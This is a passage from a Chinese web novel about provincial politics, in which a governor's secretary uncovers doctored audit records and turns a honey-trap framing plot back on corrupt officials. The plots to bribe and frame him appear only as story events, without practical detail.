王前叹了一口气,冲李承招了招手:“李秘书,你看了一下。” 李承走了过去,拿起上面的材料翻看起来。 随着上面的数据映入眼帘,李承的表情也逐渐凝重。 “他们的动作还真快啊。”李承冷哼一声,道。 这些数据是动过手脚的,之前出现的不合理支出,全部有了合理的数据进行背书。 而这些数据,想要核实的话,基本不可能。 想要核实,需要到各个项目去实地考察。 而这些金钱的流出,都在一些无法用固定价值衡量的东西上,类似于安装费,运输费,维修费,还有产业升级,子公司建设。 这些还有发票对账,对方的作假,做的很彻底。 “是呀,动作比我们想象的要快很多。”王前拿出香烟,递了一根给李承。 李承不抽烟,但是很少抽,只有喝酒的时候会愿意吸一根。 审计局的副厅长主动递烟,李承也不好拒绝,便接过了香烟。 “既然是假的,就一定会有马脚和破绽。”李承吸了一口烟:“今天下午不忙,我跟你们一起查。” 他在审计局工作这么多年,专业水平绝对是一等一的。 李承跟王前吸完了这根香烟,也开始投入到了审计工作之中。 从下午忙活到晚上,李承也没有从凭证上,找出任何的蛛丝马迹。 这时,他心中也难免腹诽,难不成陆涛他们的审计都是合规的呢?他没有包庇行为? 发票,合同,银行流水,出入库单,李承随机抽兑了一些,都没有问题。 “有没有异常数据?” 李承走到那位做数据筛查的女生旁边,问。 异常数据筛查,是用于审查报销金额是否超标,是否有同一人频繁报销,或者合适商的异常支出等。 “没查到。”女生摇了摇头。 “看样子,他们是请了专业的团队,效率很高嘛。” 王前伸了一个懒腰,走到李承面前:“时间不早了,先下班吧。” “等一下。” 李承目光定格在女生的电脑屏幕上,叫停了女生的动作:“我看看。” 说完,他拿过了鼠标,往上翻看。 刚才,他注意到了一个商户数据,而这个商户,刚才在翻看发票时,李承就留意过。 “王副厅长,你说的没错,他们确实请了专业团队,很专业,数据直接卡在了审计程序筛查的红线下面一点。” 审计程序是软件,软件筛查就会有红线。 没达到红线标准的,就筛查不到。 软件的效率虽然高,但是少了人脑的分析和应变能力,这也是软件的一大缺陷。 金河集团做的数据,就是按照审计软件来制定的。 这种数据能逃得过软件抓捕,却逃不过李承的眼睛。 很快,在他的核对和分析之下,李承标注出存在异常的情况:“恒源国际,王副厅长,麻烦你明天安排人调查一下这家公司,他们跟金河集团的交易存在很大纰漏。” “这是怎么看出来?”王前走到李承面前,也瞧了瞧电脑上的数据,疑惑问。 他也是审计工作出身,却看不出异常。 “算是我这些年工作的直觉吧。”李承打了一个哈哈,并没有详细解释。 涉及到分析,解释起来就过于麻烦,而且每个人的办公方式不同,对方也未必能听得懂。 “好,我明天去查。” “那我就先回去了。”李承告辞道。 “晚上有事没?一起喝点。”王前邀约李承,说。 “王副厅长,你们也累一整天,早点回去休息,等金河集团的审计结束,我一定陪您好好喝一顿。” 李承婉拒却不损王前面子的说。 “嗯,那就一言为定!”王前笑呵呵的与李承一同离开了办公室。 就在两人走后,专项小组的副组长,省审计厅财政审计处处长李铁军脸色变得阴沉。 他拿起手机,拍下刚才李承看过的电脑屏幕,发送了一条短息出去:【已经查到恒源国际,明天早上之前,务必处理。】 发送过后,他将信息删除,也离开了这间办公室。 第20章 狗急跳墙 伴山别墅。 金河集团副董事长潘男嘴里叼着雪茄,脸色阴郁。 “潘总,那个李承真他吗的不是东西,自以为当了省长的秘书就能为所欲为,非逼着我在审计报表上签字负责。 这回还敢把矛头对准金河集团,我看啊,他就是活腻歪了!” 潘男的对面,陆涛滔滔不绝的发泄着自己的愤恨,在他的眼神闪着杀意:“潘总,我看啊,要不就一不做二不休,直接...” 陆涛做出一个抹脖子的动作。 “陆处长,你是怕我们金河集团被针对的还不够吗?盼着我早点死呀?”潘男吐出一口烟雾,冷哼说。 策划一起意外死亡,对于金河集团这种大公司,根本算不得什么大事。 只要钱到位,做得够干净,没有人能查到金河集团。 这些年,潘男为了上位,还有一些企业竞争上,也用过类似的手段。 但李承跟那些人不同。 那些人,最多不过是金河集团的高层,或是某些企业老板,他们的死,引不起上面领导的注意。 可李承是孟良德的秘书。 在这个特殊的节骨眼上,如果李承意外死亡,孟良德不可能会信,反而会将对金河集团采用更加严苛的调查。 “那怎么办?” 陆涛急的抓耳挠腮:“恒源国际那边,今晚能弄完吗?” “别说一晚上,就是三天也捋不清。” 潘男眼神凝重,破绽已经被发现,再想藏是藏不住的,只能从根本上解决问题。 “你跟李承相处的时间长,你觉得,多少钱能够摆平这件事?一百万?”潘男问。 “他这个人蠢的很啊,之前不少公司贿赂过他,都不行,三年前城投集团就是他审计的,城投的赵总拿出一百万给他封口,他都没接受。 这个傻x就是一辈子受穷的命。” 陆涛无奈的摆了摆手,继续道:“要不咱们从王副厅长那下手呢?一百万我觉得王前都会心动。” “呵呵呵,你当王前是傻子呀?” 潘男轻蔑的扫了陆涛一眼,像看白痴一样:“一个副厅长级干部,会为了区区一百万,顶着省长的压力和监督冒险吗? 而且,这件事只能对李承下手,李承不妥协,就算王前帮我们也没有用!” 李承起到的是监督工作,而且对审计方面有着卓越的专业能力。 只要李承不放手,就算把整个专项审计小组都收买了也没用。 “这倒也是。” 陆涛点了点头,拿起茶几上的和天下,点燃一根:“那就没什么办法了吗?” “陆处长,我们是一条船上的人,金河集团被查出问题,你在体制内也没办法再待下去了。 你比我更了解李承,时间这么紧,这个办法,得你来想啊。” 潘男弹了弹烟灰,对陆涛说。 “潘总,我的问题,哪有您说的这么严重呀。”陆涛挠了挠头,尴尬的说。 “你可别忘记你这个位置,是怎么上来的。”潘男冷冷的说。 “我....” 陆涛也犯了难,他沉默了将近半分钟后,突然灵机一动:“我有一个办法,只不过呢,可能需要潘总花些钱。” “什么办法?”陆涛问。 “李承有个徒弟,两个人关系一直挺暧昧,不过那个小徒弟也没让李承得逞过,我觉得....那可是一个爱慕虚荣的女人。” 陆涛嘴角泛起一抹狞笑,将注意打到了陈思琪的身上。 “嗯,我拿一百万摆平这件事,剩下你看着办。” 一百万对潘男来说,并不算什么大钱,能够用一百万解决这件事,他认为是值得的。 “好的潘总,一定给您办成。” 陆涛说完,拿起手机离开了伴山别墅。 在回去的路上,他给陈思琪打去了一个电话:“思琪,有个一晚上能赚二十万得到好事,不知道你感不感兴趣啊....” ..... 家中。 李承坐在沙发上,边吃着泡面,边看着电视机。 跟在孟良德身边当秘书后,他的时间越来越麻烦,再也没有以前那种清闲的日子。 所以,现在的他,格外享受晚上一个人的自由时间。 ‘我的爱如潮水,爱如潮水将我向你推....’ 手机铃声打断了他吃面的动作,李承拿起手机看了一眼,来电显示:陈思琪。 “喂,怎么了?”李承接起电话,问。 “师父,你怎么对我还是这么冷冰冰的态度呀,你这样会辜负人家一片赤诚之心的。” 陈思琪撒娇般的说。 “有什么事情吗?”李承问。 “有事,天大的事,价值二十万的事!”陈思琪哼了一声,说。 “什么意思?” 李承没听懂陈思琪话中意思,皱眉问。 “发你微信了,你看一下就知道了,看完你就知道,我对师父你,一直都是一片真心。” 陈思琪娇滴滴的说完,挂断电话。 与此同时,李承手机的微信也响了。 李承打开陈思琪的聊天界面,上面是一段录音。 点开播放键,陈思琪与陆涛的声音传了出来。 “陆处长,什么好事一晚上能赚二十万呀?”陈思琪说。 “金河集团的潘总开价二十万,只要你把李承叫到酒店,你俩开房睡觉,这二十万就是你的了。”陆涛说。 “就这么简单?”陈思琪反问。 “嗯,到时候你只要帮忙指认一下李承强奸你,就可以了,就这么简单。”陆涛说:“思琪,二十万可不是小数目,够你买好多lv包包了。” “好吧,那我考虑一下。” 录音到此结束。 听完这些,李承的脸色阴沉如水。 这是要用美人计把自己拉下水呀。 但陆涛不知道的是,就算陈思琪今晚帮他,李承也不会上钩,毕竟,经过了上周五不开心的夜晚,李承已经对陈思琪这个急于讲条件的女人不感兴趣了。 沉思了几分钟,李承拿起手机,给陈思琪发去一条微信:“你告诉陆涛,你答应他的条件。” 发送之后,李承看了一眼时间,继续发了一条:“你告诉他,你跟我约定好了,晚上十点在四季酒店见面。” 既然陆涛狗急跳墙,急着想死,李承也就亲自送他一程! 第21章 跪地求饶 四季酒店,803房间。 李承和陈思琪两个人单独坐在床上。 “师父,我看着这个陆涛是失心疯了,他拿我陈思琪当什么人,区区二十万就想让我出卖师父你,哼...就是给我一百万,出卖师父这种事情我也不会做。” 陈思琪信誓旦旦的说着漂亮话。 但她当说到一百万这个数字时,眼神躲闪了起来。 她心中想着:如果陆涛真能给一百万的话,倒是可以选择妥协牺牲。 二十万,有些少了点! “嗯,思琪,这件事你做的很不错,还是挺让我欣慰的。”李承眼神温和了许多,说道。 无论陈思琪是否有其他小心思,但这件事,她选择倾向李承,这让李承对她也有所改观。 “师父,在大是大非上,我的心还是跟你紧紧在一起的。”陈思琪将俏脸贴在李承的肩膀上,说。 “嗯。” 李承抬起手,轻轻将陈思琪的脑袋推开:“思琪,接下来你还得帮我个忙。” “什么忙?”陈思琪疑惑的问。 “叫。” “叫?怎么...你说那个啊。” 陈思琪话说到一半,突然领会了李承的意思,俏脸微红:“人家不会叫,懂的不多嘛。” “今晚你卖了陆涛,如果我们不能让他上钩,以后在审计局,他肯定不会给你好脸色。”李承严肃的说。 “哦...好吧。” 这一点,陈思琪当然清楚。 她选择告诉给李承,就是在赌,赌陆涛处境岌岌可危,赌可以靠着这次机会,跟李承修复关系,重归于好。 “嗯...” 陈思琪努力发出一下声音,可声音却好像是卡住了痰一样难听。 当这种奇特的声音发出时,李承和陈思琪相视一眼,两个人都在憋着笑。 “师父,为了帮你,我只能牺牲一下了。” 陈思琪说着,直接脱下了高跟鞋,躺在了床上。 她闭上眼睛,当着李承的面,释放起自己的天性,声音也逐渐大了起来。 “嗯...啊...师父....” 李承没有多看陈思琪的作态,他提前带了一包香烟。 点燃一根香烟,李承在这种吟叫下,慢慢吸了起来,等待陆涛上钩。 ‘门锁已开’ 大概五分钟后,门口传来用房卡开门的声音。 陆涛拿着手机录像,快步冲到了床边,口中大喊:“李承,你身为省长秘书,你在干什么...” 可当他看清楚床上的情况时,喊声越来越小,逐渐消失。 “我干什么了?” 李承将第二根香烟掐没在烟灰缸内,冷冷的问。 “这...” 陆涛脸色惊慌,随即,他知道,自己被戏耍了,愤恨的目光看向陈思琪:“陈思琪你他妈的玩我?” “想让我坑我师父,陆涛,你做梦呢?”陈思琪抽出一张纸巾,擦了擦手,冷哼一声。 “李秘书,误会,都是误会啊。” 陆涛知道事情败露,连忙挤出笑脸,他亮出手中房卡:“可能是前台拿错房卡了,把你们房间的卡给了我。 那个...我就不打扰了,李秘书,你们好好玩,好好玩。” 说着,陆涛转身就想走。 “站住,我让你走了吗?”李承呵斥道。 “李秘书,我都说了,是误会了,大家同事一场,别这样。”陆涛摆出一副可怜兮兮的样子,说。 “呵呵...误会吗?” 李承冷笑一声,拿出手机,播放了那段录音。 陆涛越听脸色越白,身体都在微微发抖。 “陆涛,你以这种方式想要腐败一名省长的秘书,你知不知道,你会面临什么样的下场啊!”李承严厉呵斥。 “李秘书,我求求你,看在咱们多年同事的份上,你放我一马,当年我刚调来企业审计处的时候,你还带过我呢,咱们是兄弟呀。 虽然这两年闹了些误会,但咱们兄弟情不变。” 陆涛楚楚可怜的乞求道。 “兄弟?你来企业审计处,不是我带你,你能晋升的这么快,但你呢,没少在背后捅我刀子,你还有脸提这事!” 李承站起身,一步步走向陆涛。 陆涛双腿微微颤抖,当李承走到他面前时,他双腿一弯,直接跪在了李承面前。 “李秘书,我错了,我不是东西。” 陆涛左右开弓,猛扇自己耳光:“你放我一次,别跟我计较行吗?承哥,我求求你了,我真的知道错了。” ‘啪’ ‘啪’ ‘啪’ “承哥,你要是不解气,你也打我几下,随便你怎么打,我保证不反抗,就是求你当这件事没发生过....” 陆涛耳光扇得很响亮,态度也十分诚恳。 看着跪在自己面前求饶的陆涛,李承冷厉的眼神没有半点缓和。 “陆涛,如果我今天让你得逞了,你会放过我吗?!” 闻言,陆涛停下了自己的动作,他知道,李承是下定决心要弄他。 ‘咚咚咚...’ 就在这时,房门被敲响。 李承收回目光,走过去打开了房门。 “李秘书,你没事吧?” 王前和两名同志走进了房间,关切的问。 “没事儿,接下来他就交给王副厅长处理了。”李承说。 “嗯,我特意叫上了纪委的同志,一定给李秘书一个满意的答复。” 说完,王前和纪委的同志走向跪在地上的陆涛。 “王厅长...” 当看清王前时,陆涛身体一软,整个人像泄了气的皮球,瘫软在大地上。 “把他带走!” 王前挥了挥手,说。 在王前的吩咐下,纪委的同志将陆涛从地上拖了起来。 陆涛被抬起时,李承看到,在他坐过的地上有一滩水迹,而陆涛的裤裆已经湿了。 这家伙被吓尿了! “王副厅长,他与金河集团勾结已久,从他这里一定能查出很多线索。”李承提醒道。 “放心,一定调查清楚,李秘书,那我们就先离开了。”王前告辞道。 “嗯,好。” 目送王前离开后,李承也拿起了自己的外套,对陈思琪说:“你今天辛苦了,我们也走吧。” “师父,房间都开好了,要不我们晚上就在这里....” 第22章 晋升 陆涛被纪委带走的当天晚上,就坦白交代了一些。 包括与金河集团副董事长潘男的勾当,以及金河集团的审计造假问题等。 接下来的几天,王前凭借恒源国际的破绽,以及陆涛的口供很快就查出了金河集团的问题。 对金河集团的一众高层进行严肃处理。 但在陆涛被抓的当天晚上,收到消息,自知大事不妙的潘男连夜躲藏了起来。 警方已经下达了通缉令,对他进行抓捕。 “王前同志,金河集团的工作,你做的很不错,比我想象中更加迅速透彻。” 省长办公室,孟良德对王前提出了表扬。 孟良德是一个不苟言笑的人,对于赞扬甚至有些吝啬。 李承跟在他这边这段时间,还是第一次听到他夸赞下属。 这是对王前工作莫大的认可。 “省长,说来惭愧,审计工作能够这么顺利,主要还是因为李秘书,没有李秘书的帮助,可能我们现在还查不出头绪。” 王前目光看向李承,语气真诚的对孟良德说。 经过这件事,这位副厅长也是打心眼里认可李承。 “王副厅长过奖了,我就是举手之劳。”李承站在一旁,谦虚的说。 “呵呵...你们俩啊,都是好同志。” 孟良德呵呵一笑,开口询问李承:“诬陷杨兆华同志的事情,查清楚了没有?” 孟良德对金河集团开刀,其中的一部分原因,就是因为杨兆华。 倒不是他在为这个老同学出气。 他是想顺着这个线索,调查出金河集团背后的保护伞,还有里面的利益网。 “我向纪委打听过,金河集团被查,潘男逃走,马波也选择了坦白交代,但他知道的十分少,都是潘男指使他那么做的。 现在,也只有将潘男抓捕归案,才能揭露最终真相。” 李承将自己问询到的情况,如实汇报给孟良德。 “嗯,通知公安厅加大抓捕力度,务必将他捉拿归案。” 孟良德表情严肃,说完,他拿起办公桌上的黑线座机电话,拨给了综合一处:“让张俊过来一趟。” “省长,您找我。” 不一会儿,张俊走进办公室,恭敬的对孟良德道。 “李秘书作为我的专职秘书,现在还是正科级吧?”孟良德问。 “是。”张俊点头。 “你们综合一处刚好空缺一个副处长的职位吧,去跟组织部协调,把李秘书提干的流程走一下。”孟良严肃的说。 省长的专职秘书,普遍都是处级干部,李承还是正科,属于是过度低配了。 “省长,我们综合一处...” 张俊并不想让李承晋升,准备找个借口搪塞过去。 毕竟,李承不听话,秦海秘书长还在想办法把李承干掉,换一个新秘书给孟良德。 如果李承提到了副处,再想对李承动手,难度会更大一些,考虑的影响也会更多。 除此之外,还有一个原因。 那就是综合一处的副处职位已经被秦海秘书长的亲信内定了,李承如果顶替了这个位置,就意味着秦秘书长的亲信无法提干。 可张俊的话还没说完,就被孟良德十分严厉的打断:“我说的话你听不懂吗?” “明白,孟省长,我这就去跟组织部协调。” 孟良德态度坚决,张俊也不敢再多言,连连点头,退出办公室。 “谢谢省长认可。” 张俊走后,李承对孟良德表达了感谢。 他知道,从这一刻起,自己已经被孟良德信任。 “是你自己做得到位。” 孟良德还有其他公务要忙,李承与王前也退出了省长办公室。 “恭喜呀,李秘书。” 出了办公室,王前向李承表示了祝贺。 “还有多谢王副厅长在省长面前帮忙的美言。”李承说。 “我是实话实说。” 王前摆了摆手,告别道:“李秘书,那我也先回去了。” “嗯,慢走。” ‘咚咚咚...’ 王前刚走没一会儿,办公室的门就被敲响了。 “进。” 得到李承的许可,李薇儿推开门,走了进来。 “承哥,听说你要提副处了呀,太好了。” 李薇儿走到李承面前,将一杯奶茶放在桌子上:“这是我刚点的外卖,特意给你也点了一杯。” “谢谢呀,不过呢,我最近戒糖,不喝了。”李承婉拒道。 整个综合一处都与秦海和张俊有千丝万缕的关系,李承已经公然跟对方唱起反调,对于综合一处的所有同事,他都有戒备心。 尤其是李薇儿。 经历了陆涛给自己安排的美人计后,李承越发觉得,相识第一天,李薇儿就要与自己发生关系,是张俊安排的美人计。 “少糖的。” 李薇儿拿起奶茶杯,指责上面的产品贴,说:“一杯奶茶而已,都是同事,别那么警惕嘛。” 李承想想也对,便接受了这杯奶茶。 大家还在一个工作环境里,工作也有关联,一点小小的交情还是可以的。 在保持分寸的同时,也可以适当加强一下关系。 大不了,自己明天再买一杯奶茶还给李薇儿就是了。 “你的消息还挺灵通嘛,这么快就知道了。”李承接过了李薇儿的奶茶,试探的问。 “不是我消息灵通,整个综合一处都知道,刚才张处长回来后,发了很大的脾气呢。” 李薇儿倚靠在办公桌上,目光瞟了一眼通往省长办公室的门,压低声音说。 “他有什么好发脾气的?”李承不解。 尽管对方不情愿自己晋升,可这事省长已经定下,又没有触碰到张俊的核心利益,李承不知道他为什么发脾气。 “估计是被秦秘书长训了呗,你还不知道呢吧,原本这个副处是秦秘书长留给他的亲信洪刚的,结果被你占了。 秦秘书长听完肯定有火气呀,他训斥张俊,张俊又不敢回怼,只能冲我们耍神经喽。” 李薇儿将其中关系讲述给李承。 洪刚。 这个人李承知道,从他进入综合一处给孟良德当秘书那天,洪刚就对他态度很恶劣。 据说,原本秦海是准备安排他给孟良德做秘书的。 结果被李承插了一脚,导致他错过了这个良机。 第23章 野女人? “我说孟省长让他通知组织部,他那么不情愿,原来如此。”李承点了点头,明白了一切。 “这综合一处水深着呢,承哥,你以后可得小心一点。”李薇儿好心劝道。 “知道了。” “晚上有没有时间,我们喝一点呀,庆祝一下。”李薇儿邀约道。 “算了,你的酒量太有限,喝多了还容易控制不住自己,哈哈哈...”李承调侃了一句。 “我上次才没有喝多,人家就是很喜欢你而已,我可不是随便的人。”李薇儿轻哼一声。 “是喜欢呀,我还以为是美人计呢。” 李承以玩笑的口吻,说出了自己的猜疑,以此来试探。 “什么美人计?” 李薇儿疑惑一声,随即明白了李承的意思:“你该不会以为,那天晚上我是被人指使,才对你那样吧?” 面对提问,李承只是微微一笑,不并没有回答。 “你居然把我想象成这种人,我李薇儿是追求内心感觉,野了一点,但还不至于为了上位做出这种事来。” 李薇儿轻哼一声,转身离开。 看着李薇儿的背影,李承也是微微一愣。 难不成自己误会她了? 她那天晚上主动对自己现身,难道真的是他所谓的‘野’? 那也太野了吧! ..... 外面已经下起了瓢泼大雨,李承乘坐省长专车,将孟良德送回了招待宾馆。 汽车停在了省长平常下车的地方。 李承注意到,这里的前方有一个洼点,如果省长从这里下场,必然需要饶过水坑,才能进入招待酒店。 见状,李承指了指前方,对司机说:“王师傅,你在往前开开,停到那里。” “好。” 王师傅应了一声,再次挂上档,将汽车开到指定地点。 李承率先下场,撑起伞后,李承拉开后排车门,将伞置于车门上空,防止孟良德被淋湿。 而他自己则暴露在大雨之下。 今晚的雨格外磅礴,从下车到走进招待宾馆,不足十米的路程,李承的外套就已经被雨伞淋透。 “李秘书,雨这么大,你衣服也淋湿了,就让小王送你回去吧。”孟良德说。 “好的老板。” 省长的专职司机,只能省长使用。 司机专门送李承,这已经算是孟良德用自己的特权给李承便利,看似是一件小事,但变相也在表明,李承得到了孟良德的高度认可。 坐上副驾驶,王师傅问:“李秘书,你家在哪个小区?” “滨江区,花园城。”李承说。 “好。” 王师傅应了一声,驶动汽车。 “王师傅,你是第一次给领导当专职司机吗?”路上,李承平静的询问道。 虽说,王师傅开车的水平不错,对于路况也十分了解。 但是,很多事情,这个王师傅还不是很了解。 就比如今晚这个水坑问题,王师傅作为司机没有第一时间考虑到,还是李承出言提醒的。 “是呀,以前都在小车班。” 王师傅点了下头,问:“李秘书,我开的是有什么问题吗?” “没,你的车技很不错,开的很稳。”李承先是赞许了王师傅的水平。 “呵呵呵,开了三十多年的车,还没有发生过任何的交通事故,小剐小蹭都没有。 可能其他方面我比不过别人,当是论车技,我敢说,小车班没人比我开的好。” 提到自己擅长的,王师傅洋洋得意的说。 “嗯,车技真的很不错。” 李承附和了王师傅一句,随后话锋一转:“不过有一点王师傅还是要注意一下,给省长当专职司机,跟在小车班当司机是不同的。 你不能按照老一套的去开,很多东西,也是很有讲究的。” “李秘书,我虽然是第一次当专职司机,但也接送过很多领导,还没人说我车开的不行。 你来细说说,到底是什么讲究,我没有注意到。” 听到李承有些指导的意思,王师傅脸上的笑容收敛。 开车是他的职业,被李承一个外行教导,他心中不满。 “就比如今晚下雨,你最开始停车的位置就不对...” “李秘书,给领导开车门打伞是秘书的工作,我平时停车都停在那里,往前停一段距离,更多是方便你吧?” 李承的话还没有说完,就被王师傅给反驳了。 在王师傅看来,李承在开车这件事上,根本没资格教育他。 他觉得李承是仗着自己是省长的秘书,跟他耍臭威风。 “不是的,王师傅,我想你应该是误会了,你听我跟你说哈。 你停的位置,放在平时没关系,可今天下雨,路面还有积水,如果省长还从那里下车,前方就有一个两米就有一个水坑。 你说,省长是应该绕过去,还是该踩着水坑走? 如果水溅到了省长的裤腿上,你觉得,省长如果不满的话,是会对你不满,还是会对我不满呢?” 李承语气也严肃下来。 他是在帮王师傅,并且是以一种委婉温和的方式,可王师傅却不领情。 听到李承的询问,王师傅沉默了两秒,狡辩一句:“这不是天黑了,我没看见吗,看见了肯定不能停在那里。” 闻言,李承无奈了摇了摇头。 “王师傅,你以后还要继续跟省长开车,所以,我才提醒你这些,包括上一次,省长参加企业家大会时,你停车位置还是有问题的。”李承继续道。 “那次有什么问题?” 这回,王师傅是真的懵了,下雨这件事,他况且可以以疏忽来敷衍自己。 可那次企业家大会,他不认为自己停车的位置有任何问题。 当刚刚李承的一番话,尽管他不愿意承认,但他心里对李承的指导还是有几分认可,这回语气也软了下来。 “你没有把握好那个度,车停的有点远了。”李承说。 “那么多企业家等着迎接,停的太近,怎么开车门,难不成让那些企业家退后几步呀?”王师傅反驳道。 “不能太近,也不能太远。 上次,你停的就远了,你说,省长下车之后,需要走好几步才能跟那些企业家握手,会不会显得省长自降身份呢? 如果不走,等着别人上前,又会不会显得领导过于傲慢呢?” 第24章 请求 “到最后,还是我故意拖延开车门,给那些企业家主动上前的时间。” 李承语气并不傲慢,而是以一种平和的方式说:“王师傅,我知道你车技好,不然也不会安排你给省长当司机,我只是想提醒你,给专职司机跟小车班司机不一样了,责任越大,需要注意的东西也越多。” 李承的态度,还有委婉的言辞,让王师傅心里刚才憋的气消散。 他知道,李承告诉他这些,也是为了更好的服务省长。 “行,我知道了,以后我多注意。”王师傅语气缓和,应道。 说完这件事,两个人又随意的聊了会天。 很快,汽车到达了李承家楼下。 “王师傅,路滑,回去慢点开,伞留给你。”李承将雨伞放在车内,准备拉开车门下车。 他已经到楼下了,淋雨的路程不多,而且刚才送孟良德的时候,衣服已经被淋湿了。 但王师傅还要把车送回单位,有把伞好过淋雨。 “李秘书。” 正当李承准备迈步下车时,王师傅喊住了他。 “怎么了?” 李承把刚打开的车门关闭,扭过头询问。 “有件事,我提醒你一下。” 王师傅沉默了两秒,似乎做出某种决定。 “嗯,你说。” “你和秦秘书长的关系是不是闹得不太愉快?”当王师傅提到秦海时,李承警惕心大起。 领导的专职司机,已经不再有曾经的分量。 曾经,专职司机是领导的心腹,是在首长耳边具有一定话语权的人物,对于政坛发展甚至有一定的干涉力。 自从上面文件下达,省部级领导调任不允许带司机和秘书后,司机的含金量极具下滑,司机就只是司机。 按理说,王师傅跟办公厅的事务,不沾边才对。 “嗯,意见不统一。”李承道。 “秦秘书长可能要对你下手,他想撤你的职,可能最近就会有动作。”王师傅语气严肃的说。 “王师傅,你是从哪里得知的?”李承询问道。 秦海准备对自己下手,李承早就有心里准备。 从他任职开始,就一直在违背秦海的意愿做事,这次,还占据了秦海亲信的名额。 “你别打听了,要是不信的话,就当个乐子听吧。”王师傅摆了摆手。 “谢谢。” 对方提醒是好意,李承表达了感谢,也忍不住的问:“王师傅,你为什么要提醒我这些?” 王师傅至今为止,依旧得到孟良德和李承的信任。 在两人眼里,王师傅也是秦海安插的眼线。 “孟省长也是一个好领导,两个月前我腰间盘突出,他还给我放了假,也没说过要换司机,我很感激他。 我看得出来,孟省长挺满意你,不想你被撤职。”王师傅如实说道。 “好。” 李承笑着点了点头,拉开车门:“那我先上楼了,你慢点开。” ‘我的爱如潮水,爱如潮水将我向你推...’ 李承刚到家,正在洗热水澡时,手机响了起来。 自从当了省长秘书,他的手机是二十四小时不敢离身,不敢静音,节假日也不例外。 生怕错过领导的重要指示。 关闭水阀,李承用浴巾擦了擦手,顶着浑身的沐浴露,拿起手机。 来电显示:姜叔。 姜叔是李承以前的房东,为人开朗热情,李承刚来汉江市的时候,对李承很照顾。 虽说,现在李承已经在汉江市买了自己的小房子,不再租住,但两个人的联系一直保持着。 偶尔还会聚在一起喝喝酒。 “喂,姜叔。”李承接通电话。 “小李呀,忙着呢吗?”姜叔问。 “刚下班到家,不忙。”李承说。 “不忙过来呀,咱爷俩好久没喝了,我让你嫂子备点好菜,聚一聚。”姜叔热情的邀请道。 “改天吧叔,外面雨下的挺大,改天我请你。”李承笑着说。 “哦,那好吧。” 姜叔应了一声,但也没有挂断电话:“那个....” 听到姜叔欲言又止,李承问:“姜叔,你是不是有什么事要说呀?” “是有点事,想拜托你。”姜叔尴尬的笑了笑,道。 “咱爷俩这关系,有事你直说就行,能力范围内,一定办。” 李承懂得滴水之恩,涌泉相报的道理。 姜叔这些年对李承很好,却从来也没有求李承帮过什么忙。 他了解姜叔的性格,若非不是遇到什么难事,不会给自己打这通电话。 “就是我那个不争气的儿子呗,唉...” 姜叔叹了一口气,无奈的说:“他要是有你半点出息,我也不至于打这个电话来麻烦你。” “小斌怎么呢?” 姜斌是姜叔的儿子,年纪比李承小不了几岁。 去年大学毕业后,进入了国企工作,算是端上了铁饭碗。 工作稳定,姜叔老两口也给他置办好了车房,按理说,姜斌的生活应该过的很滋润才对。 “这孩子一根筋,工作后,看到领导挪用公款吃喝玩,也不知道哪根筋就搭错了,非去实名举报。 结果,举报不成,还得罪了领导,现在他们领导要调他去非洲分公司,非洲那地方,穷山恶水,军阀泛滥。 去了说不定会遇到什么危险呢,你在审计局工作,我就想着你能不能跟他们领导打个招呼,别给他调走了。 我保证,从今以后这个混蛋不会去举报。” 姜叔将事情前后,一五一十的讲给了李承听。 调去非洲分公司,这就等于变相逼着姜斌离职。 国企公司开除员工的制度很严苛,姜斌工作没有什么大错误,对方只能用这种方式来逼他离职。 “我现在不在审计局工作了....” “啊,这样啊,那就算了,也不是什么大事。” 没等李承说完,姜叔就打断了他,语气轻松,但隐隐透露着失望。 “姜叔,你这性子还是这么急,等我把话说完呀。” 李承无奈的笑了一声:“虽然我不在审计局工作,但小斌这件事我能办,他是在汉江进出口集团工作对吧?” “对,进出口集团,市场开发部。”姜叔道。 “嗯,这事小斌做的很对,是他们领导有问题,包在我身上吧。” “那就麻烦你了,小李。” 第25章 耿直的姜斌 次日。 李承上午忙完公务,趁着中午午休时间,打车去了进出口集团。 这件事,李承并没有上升到公务,而是选择私下处理。 领导挪用公款吃喝玩乐,这是纪检部门负责管理的范围,李承还没有那么大的权力,去因为一个人的问题,去要求纪检部门去审查。 那样的话,同样也属于是滥用职权。 他虽为‘二号首长’,但毕竟不是首长。 ‘二号首长’只能名誉上的,是大家给的面子,并没有那么大的权力。 况且,存在问题的公司,或公司高层不计其数,李承总不能挨个去查,这也超出了他的职责范围。 抵达进出口集团。 收到李承消息的姜斌已经在大门口等待多时。 看到李承小车,他小跑过来,手里还准备了饮料:“承哥,你来了,喝水。” 李承接过饮料,冲姜斌点了点头:“嗯,你们领导在吗?” “没在,上午转了一圈就出去了,估计又去打牌了。”陈斌提起此人,表情就愤愤不平起来。 “打牌,这么早?”李承诧异。 “嗯,他赌瘾可大,我听同事们说,他几乎是从上午玩到半夜,有时候更是打通宵。” 姜斌带着李承走入进出口集团的大院,带路道。 “你就是因为这事举报的他?”李承边走边问。 “对呀,身在其职,不谋其事,一点正事不干还整天耀武扬威,集团给我们部门拨的团建费都被他给赌输了,同事们对他怨气都很大。 别人不敢举报他,我可不惯着他,大不了就辞职不干了呗。” 姜斌冷哼一声,他的心态比他老爸要想得开。 也是年轻,没有经历过社会的苦难。 “就私吞了一点团建费,不至于吧。”李承说。 如果只是团建费,对方的问题并不算大,至于旷工问题,那是公司制度,人家有一百个理由搪塞,李承更管不着。 “可不止啊,他一年在赌桌上就得输上百万,都是从公司贪的。” 姜斌信誓旦旦的说:“只是我不知道他是怎么贪的。” “你什么都不知道就去举报,纪检部门自然不会当回事。”李承拍了拍姜斌的肩膀。 这小子还是太年轻了。 “就是纪检部门不负责任,说不定跟他们都有勾结呢。”姜斌哼了一声,说。 “纪检部门也很忙的。”李承无奈的说。 在姜斌的带领下,李承来到了市场开发部。 午休时间,里面的工作员工并不多,大家对于李承这个陌生面孔也并没有过多关注。 “你举报的这个领导,是什么级别?”李承问。 “总监。” “总监的上面呢?” “那就是我们部门总经理了。”姜斌说。 “你们总经理来了没有?”李承环顾四周,问。 “总经理在,这个点应该在午睡。”姜斌说。 “带我去找他吧。” 既然要保住姜斌的工作,让他以后免遭受穿小鞋,自然要找大领导聊。 “他午睡的时间不让人打扰,这是我们部门的禁忌,要不等他睡醒的吧。”姜斌面露迟疑之色,难为情的说。 “没关系,反正你也要辞职了,你怕啥?”李承开了句玩笑,说。 “倒也是,哈哈。” 姜斌笑了笑,带着李承去了总经理办公室。 ‘咚咚咚...’ ‘咚咚咚...’ 连续敲了好几声门,里面才传来一个男人愠怒的问声:“谁呀?” 